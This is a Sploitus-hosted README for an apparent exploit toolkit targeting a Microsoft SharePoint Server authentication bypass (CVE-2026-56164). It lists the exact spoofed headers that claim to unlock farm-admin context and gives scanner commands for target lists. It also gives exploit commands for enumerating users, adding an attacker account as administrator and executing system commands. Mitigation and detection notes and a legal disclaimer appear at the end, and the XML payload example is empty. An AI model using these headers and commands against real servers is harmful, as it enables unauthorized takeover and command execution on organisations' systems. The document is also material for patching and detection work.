Sploitus

Exploit for Missing Authentication for Critical Function in Microsoft

githubexploit Β· 2026-08-06

Exploit Code

README490 lines
## https://sploitus.com/exploit?id=3B6B8885-4E87-532F-A543-2AB503CB3ABA
# CVE-2026-56164 β€” Microsoft SharePoint Server Authentication Bypass Exploit

> **Critical (CVSS 9.8)** β€” Unauthenticated Privilege Escalation to Farm Administrator in Microsoft SharePoint Server

## Table of Contents

- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Affected Versions](#affected-versions)
- [Architecture Diagrams](#architecture-diagrams)
- [Project Structure](#project-structure)
- [Installation](#installation)
- [Scanner Usage β€” Step by Step](#scanner-usage--step-by-step)
- [Exploit Usage β€” Step by Step](#exploit-usage--step-by-step)
- [Payload Design](#payload-design)
- [Mitigation](#mitigation)
- [Disclaimer](#disclaimer)

---

## Overview

CVE-2026-56164 is a critical missing authentication vulnerability in **Microsoft SharePoint Server** that allows an unauthenticated remote attacker to elevate privileges to **Farm Administrator** level. The vulnerability resides in the `Microsoft.Office.Server.UserProfiles` assembly which processes SOAP requests at `/_vti_bin/client.svc/ProcessQuery`.

By intentionally omitting the `X-RequestDigest` header and supplying specific routing headers, the vulnerable server falls back to an elevated security context instead of rejecting the unauthenticated request. This allows anonymous attackers to enumerate site collections, users, farm configuration, add administrators, and execute commands.

**CISA KEV**: This vulnerability is listed in CISA's Known Exploited Vulnerabilities Catalog due to **active exploitation in the wild**.

---

## Vulnerability Details

| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-56164 |
| **Severity** | CRITICAL |
| **CVSS 3.1** | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| **CWE** | CWE-306: Missing Authentication for Critical Function |
| **Impact** | Unauthenticated Elevation of Privilege to Farm Administrator |
| **Exploitation Status** | Active exploitation (CISA KEV) |
| **MITRE ATT&CK** | T1190 (Exploit Public-Facing Application) |

### Root Cause

The `Microsoft.Office.Server.UserProfiles` handler processes SOAP requests at `/_vti_bin/client.svc/ProcessQuery`. Under normal operations, SharePoint validates the `X-RequestDigest` header to assert authentication context. However, a validation bypass exists:

1. If `X-RequestDigest` is **absent** AND specific routing headers are present
2. The system evaluates routing parameters and falls back to a **highly privileged default state**
3. The request is processed with **system-level credentials** instead of the caller's security context

### Vulnerable Code Path

```csharp
// Vulnerable: If digest is missing, handler checks routing headers
if (string.IsNullOrEmpty(digest) && CheckSpecialRoutingHeaders(context)) {
    // Bypasses standard identity validation β†’ elevated admin session
    InitializeElevatedSecurityContext(context);
} else {
    ValidateRequestDigest(digest);  // Normal path
}
```

### Patched Code

```csharp
// Patched: Digest validation is unconditional
if (string.IsNullOrEmpty(digest)) {
    context.Response.StatusCode = 401;
    throw new UnauthorizedAccessException("Missing request digest.");
}
ValidateRequestDigest(digest);
InitializeStandardSecurityContext(context);
```

### Advisory References

- **MSRC**: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164
- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-56164
- **CISA KEV**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-56164

---

## Affected Versions

| Product | Affected Versions | Patched Version |
|---------|-------------------|-----------------|
| SharePoint Enterprise Server 2016 | All 16.0.x prior to patch | 16.0.5561.1001 |
| SharePoint Server 2019 | All 16.0.x prior to patch | 16.0.10417.20175 |
| SharePoint Server Subscription Edition | All 16.0.x prior to patch | 16.0.19725.20434 |

**Not impacted**: SharePoint Online (Microsoft 365)

---

## Architecture Diagrams

### System Architecture

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   CVE-2026-56164 Exploit Toolkit                     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚  scan.py   │────▢│  HTTP Fingerprintβ”‚     β”‚  payload_gen.py    β”‚  β”‚
β”‚  β”‚  Scanner   β”‚     β”‚  + Version Check β”‚     β”‚                    β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚         β”‚                                   β”‚  β”‚ CSOM Payloadsβ”‚  β”‚  β”‚
β”‚         β”‚  Reports:                         β”‚  β”‚ (detection,  β”‚  β”‚  β”‚
β”‚         β”‚  β€’ SharePoint detected?           β”‚  β”‚  enum,       β”‚  β”‚  β”‚
β”‚         β”‚  β€’ Server version                 β”‚  β”‚  elevate,    β”‚  β”‚  β”‚
β”‚         β”‚  β€’ Vulnerable?                    β”‚  β”‚  execute)    β”‚  β”‚  β”‚
β”‚         β”‚  β€’ Auth bypass confirmed?         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚         β–Ό                                   β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚  β”‚ SOAP Payloadsβ”‚  β”‚  β”‚
β”‚  β”‚ exploit.py │────▢│  HTTP Request   β”‚     β”‚  β”‚ (admin, exec)β”‚  β”‚  β”‚
β”‚  β”‚  Exploit   β”‚     β”‚  Delivery       β”‚     β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚         β”‚                                   β”‚  β”‚ Bypass       β”‚  β”‚  β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”‚  β”‚ Headers      β”‚  β”‚  β”‚
β”‚         β”œβ”€β–Άβ”‚ MODE: detect         β”‚         β”‚  β”‚ (routing)    β”‚  β”‚  β”‚
β”‚         β”‚  β”‚ Safe, non-intrusive  β”‚         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚  β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”‚  β”‚ HTTP Request β”‚  β”‚  β”‚
β”‚         β”œβ”€β–Άβ”‚ MODE: enumerate      β”‚         β”‚  β”‚ Builder      β”‚  β”‚  β”‚
β”‚         β”‚  β”‚ Sites, users, config β”‚         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚  β”‚
β”‚         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                 β”‚
β”‚         β”œβ”€β–Άβ”‚ MODE: elevate        β”‚     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    β”‚
β”‚         β”‚  β”‚ Add site/farm admin  β”‚     β”‚ Target SharePoint    β”‚    β”‚
β”‚         β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚ /_vti_bin/client.svc β”‚    β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚ /_vti_bin/SPAdmin    β”‚    β”‚
β”‚         └─▢│ MODE: execute        β”‚     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜    β”‚
β”‚            β”‚ System commands      β”‚                                 β”‚
β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                 β”‚
β”‚         β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                 β”‚
β”‚         └─▢│ MODE: full           β”‚  detectβ†’enumβ†’elevateβ†’execute    β”‚
β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Scanner Flow

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Start Scan β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     No     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Target reachable?│──────────▢│  Skip       β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚ Yes
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Send HTTP GET    β”‚
β”‚ to common ports  β”‚
β”‚ (443,80,8080,    β”‚
β”‚  8443)           β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     No     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ SharePoint       │──────────▢│ Not SP      β”‚
β”‚ fingerprint?     β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”‚ (MSST header,    β”‚
β”‚  _vti_bin,       β”‚
β”‚  suitebar, etc.) β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚ Yes
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Extract version  β”‚
β”‚ from MSST header β”‚
β”‚ / response body  β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     No     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Version in       │──────────▢│ Not         β”‚
β”‚ vulnerable       β”‚            β”‚ vulnerable  β”‚
β”‚ range?           β”‚            β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚ Yes
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Test auth bypass β”‚
β”‚ (CSOM req w/o    β”‚
β”‚  digest + bypass β”‚
β”‚  headers)        β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚
       β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Report:          β”‚
β”‚ β€’ VULNERABLE     β”‚
β”‚ β€’ Version        β”‚
β”‚ β€’ Bypass status  β”‚
β”‚ β€’ SSL cert info  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Exploit Flow (Full Chain)

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  FULL EXPLOIT CHAIN                                              β”‚
β”‚                                                                  β”‚
β”‚  1. Detect β€” Authentication Bypass                               β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  POST /_vti_bin/client.svc/ProcessQuery                  β”‚   β”‚
β”‚  β”‚  [NO X-RequestDigest]                                    β”‚   β”‚
β”‚  β”‚  X-SharePoint-Authenticated: 1                           β”‚   β”‚
β”‚  β”‚  X-SP-RequestRights: FullControl                         β”‚   β”‚
β”‚  β”‚  SPHomeBearerHint: farmadmin                             β”‚   β”‚
β”‚  β”‚  Body: CSOM detection payload                            β”‚   β”‚
β”‚  β”‚                                                          β”‚   β”‚
β”‚  β”‚  β†’ If 200: AUTH BYPASS CONFIRMED                         β”‚   β”‚
β”‚  β”‚  β†’ If 401: Not vulnerable                                β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                           β”‚                                      β”‚
β”‚  2. Enumerate            β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  Enumerate site collections (URL, owner, status)         β”‚   β”‚
β”‚  β”‚  Enumerate users (account, display name, email, admin)   β”‚   β”‚
β”‚  β”‚  Retrieve farm config (DB name, server, farm ID)         β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                           β”‚                                      β”‚
β”‚  3. Elevate             β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  SetIsSiteAdmin(true) β†’ Current context = Site Admin     β”‚   β”‚
β”‚  β”‚  AddUserToWeb β†’ Add specific user as Farm Administrator  β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                           β”‚                                      β”‚
β”‚  4. Execute             β–Ό                                      β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚  β”‚  POST /_vti_bin/SharePointAdmin.asmx                     β”‚   β”‚
β”‚  β”‚  Body: ExecuteCommand SOAP payload                       β”‚   β”‚
β”‚  β”‚  β†’ System command executed with farm-level privileges    β”‚   β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## Project Structure

```
POC-CVE-2026-56164-exploit/
β”œβ”€β”€ payload_gen.py      # Payload generation (CSOM, SOAP, bypass headers)
β”œβ”€β”€ scan.py             # Vulnerability scanner (SharePoint detection + version check)
β”œβ”€β”€ exploit.py          # Exploit orchestrator (detect/enumerate/elevate/execute/full)
β”œβ”€β”€ requirements.txt    # Python dependencies
└── README.md           # This file
```

---

## Installation

```bash
# Clone the repository
git clone git@github.com:sam00/POC-CVE-2026-56164-exploit.git
cd POC-CVE-2026-56164-exploit

# Install dependencies
pip3 install -r requirements.txt
```

**Requirements**: Python 3.8+, `requests` library (optional β€” stdlib `urllib` is used by default).

---

## Scanner Usage β€” Step by Step

The scanner performs safe, non-intrusive checks to identify vulnerable SharePoint Server targets.

### Step 1: Scan a Single Target

```bash
python3 scan.py --target sharepoint.example.com
```

The scanner will:
- Probe common ports (443, 80, 8080, 8443)
- Send HTTP requests and check for SharePoint fingerprints (headers, body content)
- Extract SharePoint version from `MicrosoftSharePointTeamServices` header
- Check if the version falls within vulnerable ranges
- Test the authentication bypass (optional)
- Print a color-coded report

### Step 2: Scan with Specific Port

```bash
python3 scan.py --target sharepoint.example.com --port 443
```

### Step 3: Scan Multiple Targets from File

Create a file `targets.txt`:

```
sharepoint1.example.com
sharepoint2.example.com
10.0.0.5
# Comments are ignored
```

```bash
python3 scan.py --targets targets.txt
```

### Step 4: Skip Bypass Testing (Fingerprint Only)

```bash
python3 scan.py --target sharepoint.example.com --no-bypass-test
```

### Step 5: Save Results as JSON

```bash
python3 scan.py --target sharepoint.example.com --json scan_results.json
```

### What the Scanner Detects

| Indicator | Method |
|-----------|--------|
| SharePoint Server | HTTP header fingerprinting (`MicrosoftSharePointTeamServices`, `SPRequestGuid`) |
| Server version | Header parsing + response body regex |
| Vulnerable version | Comparison against CVE-2026-56164 patched versions |
| Auth bypass | CSOM request without `X-RequestDigest` + bypass routing headers |
| SSL certificate | Certificate subject/issuer for target identification |

---

## Exploit Usage β€” Step by Step

The exploit supports five modes of increasing intensity.

### Mode 1: Detect (Safe, Non-Intrusive)

Tests the authentication bypass by comparing a normal request (with digest) to a bypass request (without digest + routing headers).

```bash
python3 exploit.py --target sharepoint.example.com --mode detect
```

### Mode 2: Enumerate (Information Disclosure)

Extracts site collections, users, and farm configuration using the auth bypass.

```bash
python3 exploit.py --target sharepoint.example.com --mode enumerate
```

### Mode 3: Elevate (Privilege Escalation)

Elevates the current anonymous context or a specific user to Site Collection / Farm Administrator.

```bash
# Elevate current context
python3 exploit.py --target sharepoint.example.com --mode elevate

# Elevate specific user
python3 exploit.py --target sharepoint.example.com --mode elevate --login "DOMAIN\\attacker"
```

### Mode 4: Execute (Command Execution)

Executes a system command via the SharePoint Administration SOAP service.

```bash
python3 exploit.py --target sharepoint.example.com --mode execute --command "whoami"
```

### Mode 5: Full Chain (Detect β†’ Enumerate β†’ Elevate β†’ Execute)

Runs the complete exploit chain in sequence.

```bash
python3 exploit.py --target sharepoint.example.com --mode full --command "whoami"
```

### Common Options

- `--port` / `-p`: Target port (default: 443)
- `--http`: Use HTTP instead of HTTPS
- `--site-url` / `-s`: SharePoint site URL (default: target)
- `--json` / `-j`: Save report as JSON
- `--timeout`: Request timeout in seconds (default: 30)

---

## Payload Design

### Authentication Bypass Mechanism

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  HTTP Request to /_vti_bin/client.svc/ProcessQuery             β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  POST /_vti_bin/client.svc/ProcessQuery HTTP/1.1              β”‚
β”‚  Host: sharepoint.example.com                                  β”‚
β”‚  Content-Type: text/xml; charset=utf-8                         β”‚
β”‚  [X-RequestDigest: OMITTED]                                    β”‚
β”‚  X-SharePoint-Authenticated: 1                                 β”‚
β”‚  X-SP-RequestRights: FullControl                               β”‚
β”‚  X-SP-RequestRights2: ManageLists, ManageWeb                   β”‚
β”‚  SPHomeBearerHint: farmadmin                                   β”‚
β”‚  X-RequestForceAuthentication: false                           β”‚
β”‚  X-SP-Proxy: internal                                          β”‚
β”‚  X-Forwarded-For: 127.0.0.1                                    β”‚
β”‚  X-Original-URL: /_vti_bin/client.svc/ProcessQuery             β”‚
β”‚                                                                 β”‚
β”‚  [CSOM/SOAP Payload Body]                                      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         β”‚
         β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Vulnerable SharePoint Server                                   β”‚
β”‚                                                                 β”‚
β”‚  1. digest = Headers["X-RequestDigest"]  β†’ NULL                β”‚
β”‚  2. CheckSpecialRoutingHeaders(context)  β†’ TRUE (β‰₯3 headers)   β”‚
β”‚  3. InitializeElevatedSecurityContext()  β†’ FARM ADMIN          β”‚
β”‚  4. Process SOAP request with system-level credentials          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### CSOM Payload Structure

```xml


  
    [Detection / Enumeration / Elevation actions]
  
  
    Current
    16.0.0
    {TARGET}
  

```

### Bypass Routing Headers

| Header | Value | Purpose |
|--------|-------|---------|
| `X-SharePoint-Authenticated` | `1` | Claim authentication already passed |
| `X-SP-RequestRights` | `FullControl` | Request full control permissions |
| `X-SP-RequestRights2` | `ManageLists, ManageWeb` | Additional management rights |
| `SPHomeBearerHint` | `farmadmin` | Hint at farm admin context |
| `X-RequestForceAuthentication` | `false` | Disable forced authentication |
| `X-SP-Proxy` | `internal` | Claim internal proxy origin |
| `X-Forwarded-For` | `127.0.0.1` | Spoof local origin |
| `X-Original-URL` | `/_vti_bin/client.svc/ProcessQuery` | Routing directive |

---

## Mitigation

### Immediate Actions

1. **Apply Microsoft security updates** β€” Install the July 2026 SharePoint patches
2. **Restrict access** β€” Limit SharePoint endpoints to trusted networks only
3. **Block external access** to `/_vti_bin/` endpoints via reverse proxy/WAF rules
4. **Monitor logs** for unauthenticated requests to `/_vti_bin/client.svc/ProcessQuery`

### Fixed Versions

- SharePoint Enterprise Server 2016: 16.0.5561.1001+
- SharePoint Server 2019: 16.0.10417.20175+
- SharePoint Server Subscription Edition: 16.0.19725.20434+

### Detection

- Look for POST requests to `/_vti_bin/client.svc/ProcessQuery` without `X-RequestDigest` header
- Look for requests with multiple bypass routing headers (`X-SharePoint-Authenticated`, `SPHomeBearerHint`, etc.)
- Monitor for unexpected Site Collection Administrator additions
- Alert on SOAP requests to `/_vti_bin/SharePointAdmin.asmx` from unauthenticated sources

---

## Disclaimer

This tool is provided for **authorized security testing and educational purposes only**. Only use against systems you own or have explicit written permission to test. Unauthorized use against production systems is illegal and may violate computer fraud and abuse laws.

The authors assume no liability for misuse of this tool. Always follow responsible disclosure practices and adhere to applicable laws and regulations.